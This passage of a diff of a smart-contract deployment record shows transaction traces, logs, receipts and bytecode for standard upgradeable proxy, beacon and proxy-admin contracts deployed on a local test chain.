"0x000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003e8" + "data": "0x" }, "decoded": { "name": null, @@ -3311,9 +3251,9 @@ { "raw_log": { "topics": [ - "0x7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb3847402498" + "0x7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f" ], - "data": "0x0000000000000000000000000000000000000000000000000000000000000001" + "data": "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa3" }, "decoded": { "name": null, @@ -3328,106 +3268,128 @@ }, { "Log": 1 - }, - { - "Log": 2 - }, - { - "Log": 3 - }, - { - "Log": 4 - }, - { - "Log": 5 - }, - { - "Log": 6 } ] } ], - "exit": "Stop", - "out": "0x", - "nonce": 23, - "gas_used": 169225 + "exit": "Return", + "out": "0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107ba60279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f7919061076a565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610786565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff8111156106fb57600080fd5b8401601f8101861361070c57600080fd5b803567ffffffffffffffff81111561072357600080fd5b86602082840101111561073557600080fd5b939660209190910195509293505050565b60005b83811015610761578181015183820152602001610749565b50506000910152565b6000825161077c818460208701610746565b9190910192915050565b60208152600082518060208401526107a5816040850160208701610746565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220c41b0469e002b3b7c2a8865eddcfedb7a0854d8e9d8184483e9f6075fcd0521d64736f6c634300081b0033", + "nonce": 7, + "gas_used": 573230 }, "receipt": { "type": "0x2", "status": "0x1", - "cumulativeGasUsed": "0x29509", + "cumulativeGasUsed": "0x8bf2e", "logs": [ { - "address": "0x0165878a594ca255338adfa4d48449f69242eb8f", + "address": "0xa513e6e4b8f2a923d98304ec87f64353c4d5c853", "topics": [ "0xbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b", - "0x0000000000000000000000000b306bf915c4d645ff596e518faf3f9669b97016" + "0x0000000000000000000000009fe46736679d2d9a65f0992f2272de9f3c7fa6e0" ], "data": "0x" }, { - "address": "0x0165878a594ca255338adfa4d48449f69242eb8f", + "address": "0xa513e6e4b8f2a923d98304ec87f64353c4d5c853", "topics": [ - "0xab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d", - "0x0000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa3" + "0x7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f" ], - "data": "0x0000000000000000000000000000000000000000000000000000000000000000" - }, + "data": "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa3" + } + ], + "logsBloom": "0x00000000000000000000000000000000400000000000000000000000000000010000000000000000000400000000000000400000000000000000000000000000000000000000000000000000000002000000000010000000010000000000400000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000000000000000000000000000" + }, + "block_hash": "0x661f4ea14e783d43bff7d86523c497b7174a2f5deb9fd5c1aef9a731601f1944", + "block_number": 6 + }, + { + "info": { + "transaction_hash": "0x827ff68a4d4186a0f8f7dc0aff74d02be914a1ba3a24f1d64775925750ee1044", + "transaction_index": 0, + "from": "0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266", + "to": null, + "contract_address": "0xb7f8bc63bbcad18155201308c8f3540b07f84f5e", + "traces": [ { - "address": "0x0165878a594ca255338adfa4d48449f69242eb8f", - "topics": [ - "0x6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6" + "parent": null, + "children": [], + "idx": 0, + "trace": { + "depth": 0, + "success": true, + "caller": "0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266", + "address": "0xb7f8bc63bbcad18155201308c8f3540b07f84f5e", + "maybe_precompile": false, + "selfdestruct_address": null, + "selfdestruct_refund_target": null, + "selfdestruct_transferred_value": null, + "kind": "CREATE", + "value": "0x0", + "data": "0x608060405234801561001057600080fd5b506040516104be3803806104be83398101604081905261002f9161013a565b61003833610047565b61004181610097565b5061016a565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b0381163b6101185760405162461bcd60e51b815260206004820152603360248201527f5570677261646561626c65426561636f6e3a20696d706c656d656e746174696f60448201527f6e206973206e6f74206120636f6e747261637400000000000000000000000000606482015260840160405180910390fd5b600180546001600160a01b0319166001600160a01b0392909216919091179055565b60006020828403121561014c57600080fd5b81516001600160a01b038116811461016357600080fd5b9392505050565b610345806101796000396000f3fe608060405234801561001057600080fd5b50600436106100575760003560e01c80633659cfe61461005c5780635c60da1b14610071578063715018a61461009a5780638da5cb5b146100a2578063f2fde38b146100b3575b600080fd5b61006f61006a3660046102df565b6100c6565b005b6001546001600160a01b03165b6040516001600160a01b03909116815260200160405180910390f35b61006f61010e565b6000546001600160a01b031661007e565b61006f6100c13660046102df565b610122565b6100ce6101a0565b6100d7816101fa565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b6101166101a0565b610120600061028f565b565b61012a6101a0565b6001600160a01b0381166101945760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b61019d8161028f565b50565b6000546001600160a01b031633146101205760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161018b565b6001600160a01b0381163b61026d5760405162461bcd60e51b815260206004820152603360248201527f5570677261646561626c65426561636f6e3a20696d706c656d656e746174696f6044820152721b881a5cc81b9bdd08184818dbdb9d1c9858dd606a1b606482015260840161018b565b600180546001600160a01b0319166001600160a01b0392909216919091179055565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6000602082840312156102f157600080fd5b81356001600160a01b038116811461030857600080fd5b939250505056fea26469706673582212207a6d133625066cab7d23f40b4e207ae40bdd3e892087cfa5f7b370330d37086964736f6c634300081b0033000000000000000000000000610178da211fef7d417bc0e6fed39f05609ad788", + "output": "0x608060405234801561001057600080fd5b50600436106100575760003560e01c80633659cfe61461005c5780635c60da1b14610071578063715018a61461009a5780638da5cb5b146100a2578063f2fde38b146100b3575b600080fd5b61006f61006a3660046102df565b6100c6565b005b6001546001600160a01b03165b6040516001600160a01b03909116815260200160405180910390f35b61006f61010e565b6000546001600160a01b031661007e565b61006f6100c13660046102df565b610122565b6100ce6101a0565b6100d7816101fa565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b6101166101a0565b610120600061028f565b565b61012a6101a0565b6001600160a01b0381166101945760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b61019d8161028f565b50565b6000546001600160a01b031633146101205760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161018b565b6001600160a01b0381163b61026d5760405162461bcd60e51b815260206004820152603360248201527f5570677261646561626c65426561636f6e3a20696d706c656d656e746174696f6044820152721b881a5cc81b9bdd08184818dbdb9d1c9858dd606a1b606482015260840161018b565b600180546001600160a01b0319166001600160a01b0392909216919091179055565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6000602082840312156102f157600080fd5b81356001600160a01b038116811461030857600080fd5b939250505056fea26469706673582212207a6d133625066cab7d23f40b4e207ae40bdd3e892087cfa5f7b370330d37086964736f6c634300081b0033", + "gas_used": 216356, + "gas_limit": 302820, + "status": "Return", + "steps": [], + "decoded": { + "label": null, + "return_data": null, + "call_data": null + } + }, + "logs": [ + { + "raw_log": { + "topics": [ + "0x8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0", + "0x0000000000000000000000000000000000000000000000000000000000000000", + "0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266" + ], + "data": "0x" + }, + "decoded": { + "name": null, + "params": null + }, + "position": 0 + } ], - "data": "0x0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f0512" - }, + "ordering": [ + { + "Log": 0 + } + ] + } + ], + "exit": "Return", + "out": "0x608060405234801561001057600080fd5b50600436106100575760003560e01c80633659cfe61461005c5780635c60da1b14610071578063715018a61461009a5780638da5cb5b146100a2578063f2fde38b146100b3575b600080fd5b61006f61006a3660046102df565b6100c6565b005b6001546001600160a01b03165b6040516001600160a01b03909116815260200160405180910390f35b61006f61010e565b6000546001600160a01b031661007e565b61006f6100c13660046102df565b610122565b6100ce6101a0565b6100d7816101fa565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b6101166101a0565b610120600061028f565b565b61012a6101a0565b6001600160a01b0381166101945760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b61019d8161028f565b50565b6000546001600160a01b031633146101205760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161018b565b6001600160a01b0381163b61026d5760405162461bcd60e51b815260206004820152603360248201527f5570677261646561626c65426561636f6e3a20696d706c656d656e746174696f6044820152721b881a5cc81b9bdd08184818dbdb9d1c9858dd606a1b606482015260840161018b565b600180546001600160a01b0319166001600160a01b0392909216919091179055565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6000602082840312156102f157600080fd5b81356001600160a01b038116811461030857600080fd5b939250505056fea26469706673582212207a6d133625066cab7d23f40b4e207ae40bdd3e892087cfa5f7b370330d37086964736f6c634300081b0033", + "nonce": 11, + "gas_used": 288554 + }, + "receipt": { + "type": "0x2", + "status": "0x1", + "cumulativeGasUsed": "0x4672a", + "logs": [ { - "address": "0x0165878a594ca255338adfa4d48449f69242eb8f", + "address": "0xb7f8bc63bbcad18155201308c8f3540b07f84f5e", "topics": [ "0x8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0", "0x0000000000000000000000000000000000000000000000000000000000000000", "0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266" ], "data": "0x" - }, - { - "address": "0x0165878a594ca255338adfa4d48449f69242eb8f", - "topics": [ - "0x237b82f438d75fc568ebab484b75b01d9287b9e98b490b7c23221623b6705dbb", - "0x0000000000000000000000000000000000000000000000000000000000000000", - "0x00000000000000000000000018a0f92ad9645385e8a8f3db7d0f6cf7abbb0ad4" - ], - "data": "0x" - }, - { - "address": "0x0165878a594ca255338adfa4d48449f69242eb8f", - "topics": [ - "0xaf557c6c02c208794817a705609cfa935f827312a1adfdd26494b6b95dd2b4b3" - ], - "data": "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001c20" - }, - { - "address": "0x0165878a594ca255338adfa4d48449f69242eb8f", - "topics": [ - "0x8cdc428b0431b82d1619763f443a48197db344ba96905f3949643acd1c863a06" - ], - "data": "0x000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003e8" - }, - { - "address": "0x0165878a594ca255338adfa4d48449f69242eb8f", - "topics": [ - "0x7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb3847402498" - ], - "data": "0x0000000000000000000000000000000000000000000000000000000000000001" } ], - "logsBloom": "0x00000000000000000000000040000008400000000000000000800000000000000010000000000000000000000000000000000000000000100000000000000000041000000000000000000400000402000001002000000000000000000000000000020000020000000000000300800800000004000000000000000000000000440000000100000000000000000000000000000000000080000000000000100000000000000000000000000000000400000000000000000000000000000000000000000024400000200000000000040000000000002008002000000000000020000000000000000100400800000400000000000000000000000000000001400200" + "logsBloom": "0x00000000100000000000000000000000000000000040000000800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001800000000000000000000000000000000000020000000000000100000800000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000000000000000000000002000000000000000000020000000000000000000000000000000000000000000000000000000000000000000" }, - "block_hash": "0xe7a76d4713a9bae463c98e99f3257ac11fad6d6ea9a9c6551401c4c7887306a0", - "block_number": 15 + "block_hash": "0x5e110648bab9775615f660a7d3fae17f050381bcecd94b54b968a6f9992e8a71", + "block_number": 9 }, { "info": { - "transaction_hash": "0x8d7d689b5e7498d26362ee52308da636bcbbe413fa03ca37f136aa3bcb8cda91", + "transaction_hash": "0xa1e0398c2dde583fe8c57690419d4f2ec2dee733e02fd823bd1dd6bdb141f9db", "transaction_index": 0, "from": "0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266", "to": "0x5fbdb2315678afecb367f032d93f642f64180aa3", @@ -3450,10 +3412,10 @@ "selfdestruct_transferred_value": null, "kind": "CALL", "value": "0x0", - "data": "0x9623609d000000000000000000000000c5a5c42992decbae36851359345fe25997f5c42d0000000000000000000000007a2088a1bfc9d81c55368ae168c2c02570cb814f00000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000084019e27290000000000000000000000000000000000000000000000000de0b6b3a764000000000000000000000000000000000000000000000000003635c9adc5dea0000000000000000000000000000009635f643e140090a9a8dcd712ed6285858cebef000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f051200000000000000000000000000000000000000000000000000000000", + "data": "0x9623609d0000000000000000000000008a791620dd6260079bf849dc5567adc3f2fdc31800000000000000000000000068b1d87f95878fe05b998f19b66f4baba5de1aed00000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000084eb990c59000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f05120000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000000000000000000000000000000000000", "output": "0x", - "gas_used": 118687, - "gas_limit": 172853, + "gas_used": 118552, + "gas_limit": 172617, "status": "Stop", "steps": [], "decoded": { @@ -3479,17 +3441,17 @@ "depth": 1, "success": true, "caller": "0x5fbdb2315678afecb367f032d93f642f64180aa3", - "address": "0xc5a5c42992decbae36851359345fe25997f5c42d", + "address": "0x8a791620dd6260079bf849dc5567adc3f2fdc318", "maybe_precompile": null, "selfdestruct_address": null, "selfdestruct_refund_target": null, "selfdestruct_transferred_value": null, "kind": "CALL", "value": "0x0", - "data": "0x4f1ef2860000000000000000000000007a2088a1bfc9d81c55368ae168c2c02570cb814f00000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000084019e27290000000000000000000000000000000000000000000000000de0b6b3a764000000000000000000000000000000000000000000000000003635c9adc5dea0000000000000000000000000000009635f643e140090a9a8dcd712ed6285858cebef000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f051200000000000000000000000000000000000000000000000000000000", + "data": "0x4f1ef28600000000000000000000000068b1d87f95878fe05b998f19b66f4baba5de1aed00000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000084eb990c59000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f05120000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000000000000000000000000000000000000", "output": "0x", - "gas_used": 112329, - "gas_limit": 163941, + "gas_used": 112194, + "gas_limit": 163709, "status": "Stop", "steps": [], "decoded": { @@ -3503,7 +3465,7 @@ "raw_log": { "topics": [ "0xbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b", - "0x0000000000000000000000007a2088a1bfc9d81c55368ae168c2c02570cb814f" + "0x00000000000000000000000068b1d87f95878fe05b998f19b66f4baba5de1aed" ], "data": "0x" }, @@ -3530,18 +3492,18 @@ "trace": { "depth": 2, "success": true, - "caller": "0xc5a5c42992decbae36851359345fe25997f5c42d", - "address": "0x7a2088a1bfc9d81c55368ae168c2c02570cb814f", + "caller": "0x8a791620dd6260079bf849dc5567adc3f2fdc318", + "address": "0x68b1d87f95878fe05b998f19b66f4baba5de1aed", "maybe_precompile": null, "selfdestruct_address": null, "selfdestruct_refund_target": null, "selfdestruct_transferred_value": null, "kind": "DELEGATECALL", "value": "0x0", - "data": "0x019e27290000000000000000000000000000000000000000000000000de0b6b3a764000000000000000000000000000000000000000000000000003635c9adc5dea0000000000000000000000000000009635f643e140090a9a8dcd712ed6285858cebef000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f0512", + "data": "0xeb990c59000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f05120000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a", "output": "0x", - "gas_used": 99364, - "gas_limit": 148834, + "gas_used": 99229, + "gas_limit": 148606, "status": "Stop", "steps": [], "decoded": { @@ -3554,9 +3516,11 @@ { "raw_log": { "topics": [ - "0xf97ed4e083acac67830025ecbc756d8fe847cdbdca4cee3fe1e128e98b54ecb5" + "0x8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0", + "0x0000000000000000000000000000000000000000000000000000000000000000", + "0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266" ], - "data": "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000de0b6b3a7640000" + "data": "0x" }, "decoded": { "name": null, @@ -3567,9 +3531,10 @@ { "raw_log": { "topics": [ - "0x6ab181e0440bfbf4bacdf2e99674735ce6638005490688c5f994f5399353e452" + "0xab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d", + "0x0000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa3" ], - "data": "0x000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003635c9adc5dea00000" + "data": "0x0000000000000000000000000000000000000000000000000000000000000000" }, "decoded": { "name": null, @@ -3580,10 +3545,9 @@ { "raw_log": { "topics": [ - "0xab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d", - "0x0000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa3" + "0x6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6" ], - "data": "0x0000000000000000000000000000000000000000000000000000000000000000" + "data": "0x0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f0512" }, "decoded": { "name": null, @@ -3594,9 +3558,9 @@ { "raw_log": { "topics": [ - "0x6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6" + "0x4ffb00400574147429ee377a5633386321e66d45d8b14676014b5fa393e61e9e" ], - "data": "0x0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f0512" + "data": "0x0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a" }, "decoded": { "name": null, @@ -3639,38 +3603,33 @@ ], "exit": "Stop", "out": "0x", - "nonce": 29, - "gas_used": 142079 + "nonce": 25, + "gas_used": 141812 }, "receipt": { "type": "0x2", "status": "0x1", - "cumulativeGasUsed": "0x22aff", + "cumulativeGasUsed": "0x229f4", "logs": [ { - "address": "0xc5a5c42992decbae36851359345fe25997f5c42d", + "address": "0x8a791620dd6260079bf849dc5567adc3f2fdc318", "topics": [ "0xbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b", - "0x0000000000000000000000007a2088a1bfc9d81c55368ae168c2c02570cb814f" + "0x00000000000000000000000068b1d87f95878fe05b998f19b66f4baba5de1aed" ], "data": "0x" }, { - "address": "0xc5a5c42992decbae36851359345fe25997f5c42d", - "topics": [ - "0xf97ed4e083acac67830025ecbc756d8fe847cdbdca4cee3fe1e128e98b54ecb5" - ], - "data": "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000de0b6b3a7640000" - }, - { - "address": "0xc5a5c42992decbae36851359345fe25997f5c42d", + "address": "0x8a791620dd6260079bf849dc5567adc3f2fdc318", "topics": [ - "0x6ab181e0440bfbf4bacdf2e99674735ce6638005490688c5f994f5399353e452" + "0x8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0", + "0x0000000000000000000000000000000000000000000000000000000000000000", + "0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266" ], - "data": "0x000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003635c9adc5dea00000" + "data": "0x" }, { - "address": "0xc5a5c42992decbae36851359345fe25997f5c42d", + "address": "0x8a791620dd6260079bf849dc5567adc3f2fdc318", "topics": [ "0xab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d", "0x0000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa3" @@ -3678,32 +3637,39 @@ "data": "0x0000000000000000000000000000000000000000000000000000000000000000" }, { - "address": "0xc5a5c42992decbae36851359345fe25997f5c42d", + "address": "0x8a791620dd6260079bf849dc5567adc3f2fdc318", "topics": [ "0x6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6" ], "data": "0x0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f0512" }, { - "address": "0xc5a5c42992decbae36851359345fe25997f5c42d", + "address": "0x8a791620dd6260079bf849dc5567adc3f2fdc318", + "topics": [ + "0x4ffb00400574147429ee377a5633386321e66d45d8b14676014b5fa393e61e9e" + ], + "data": "0x0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a" + }, + { + "address": "0x8a791620dd6260079bf849dc5567adc3f2fdc318", "topics": [ "0x7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb3847402498" ], "data": "0x0000000000000000000000000000000000000000000000000000000000000001" } ], - "logsBloom": "0x00000000000000000000000040000000400004000000000000000000000000000400000000000000000000000000000000000000000100100004000000000000000000000000000000000400000002000000000000000000000000000000040000000000000000000000000004800000000004000000000000000000000000000000000300000002000040000000000400000000000080000000000000000000000000000000000000000000000400000000000000000000000000000000000000040020480000000000000000040000000000000008000000000000000000000000000000000000000000000000000000000000000000000000000000400000" + "logsBloom": "0x00000000000000000000000040000000400000000000000000800000000000000000000000000000000000000000000000000010000000100000000000000000000000000000000000000400000002000001000000000000000000000000000000000000020000000000000100800800001004000000000000000000000000400000000100000000000000000000000000000000000080004000000000000000002000000000000000000000008400000000000000000000000000000000000000000020400000200000000000040000040000002008000001000000000020000000000000000001000000000000000000000000000000020000000000400000" }, - "block_hash": "0xb9bef2344237e768eb87fd074849abcd5e2acedec69907230bedf80aac4517b3", - "block_number": 19 + "block_hash": "0x4754d90d4f734dc39417aceb21d2545050e389f2656238acabf700fd2726c31d", + "block_number": 22 }, { "info": { - "transaction_hash": "0x51e3b6ec5dce1003f9129d8ba4e6e8efe484f2334549a0618ce1c15d7e357f5f", - "transaction_index": 0, + "transaction_hash": "0xf51ba3a09c1a6df85d2e7e2f400e1425162aa0427b009dc971dc33fdc2a02278", + "transaction_index": 1, "from": "0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266", "to": null, - "contract_address": "0x5fbdb2315678afecb367f032d93f642f64180aa3", + "contract_address": "0xdc64a140aa3e981100a9beca4e685f962f0cf6c9", "traces": [ { "parent": null, @@ -3713,17 +3679,17 @@ "depth": 0, "success": true, "caller": "0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266", - "address": "0x5fbdb2315678afecb367f032d93f642f64180aa3", + "address": "0xdc64a140aa3e981100a9beca4e685f962f0cf6c9", "maybe_precompile": false, "selfdestruct_address": null, "selfdestruct_refund_target": null, "selfdestruct_transferred_value": null, "kind": "CREATE", "value": "0x0", - "data": "0x6080604052348015600f57600080fd5b50601733601b565b606b565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b61069a8061007a6000396000f3fe60806040526004361061007b5760003560e01c80639623609d1161004e5780639623609d1461011157806399a88ec414610124578063f2fde38b14610144578063f3b7dead1461016457600080fd5b8063204e1c7a14610080578063715018a6146100bc5780637eff275e146100d35780638da5cb5b146100f3575b600080fd5b34801561008c57600080fd5b506100a061009b366004610499565b610184565b6040516001600160a01b03909116815260200160405180910390f35b3480156100c857600080fd5b506100d1610215565b005b3480156100df57600080fd5b506100d16100ee3660046104bd565b610229565b3480156100ff57600080fd5b506000546001600160a01b03166100a0565b6100d161011f36600461050c565b610291565b34801561013057600080fd5b506100d161013f3660046104bd565b610300565b34801561015057600080fd5b506100d161015f366004610499565b610336565b34801561017057600080fd5b506100a061017f366004610499565b6103b4565b6000806000836001600160a01b03166040516101aa90635c60da1b60e01b815260040190565b600060405180830381855afa9150503d80600081146101e5576040519150601f19603f3d011682016040523d82523d6000602084013e6101ea565b606091505b5091509150816101f957600080fd5b8080602001905181019061020d91906105ea565b949350505050565b61021d6103da565b6102276000610434565b565b6102316103da565b6040516308f2839760e41b81526001600160a01b038281166004830152831690638f283970906024015b600060405180830381600087803b15801561027557600080fd5b505af1158015610289573d6000803e3d6000fd5b505050505050565b6102996103da565b60405163278f794360e11b81526001600160a01b03841690634f1ef2869034906102c99086908690600401610607565b6000604051808303818588803b1580156102e257600080fd5b505af11580156102f6573d6000803e3d6000fd5b5050505050505050565b6103086103da565b604051631b2ce7f360e11b81526001600160a01b038281166004830152831690633659cfe69060240161025b565b61033e6103da565b6001600160a01b0381166103a85760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b6103b181610434565b50565b6000806000836001600160a01b03166040516101aa906303e1469160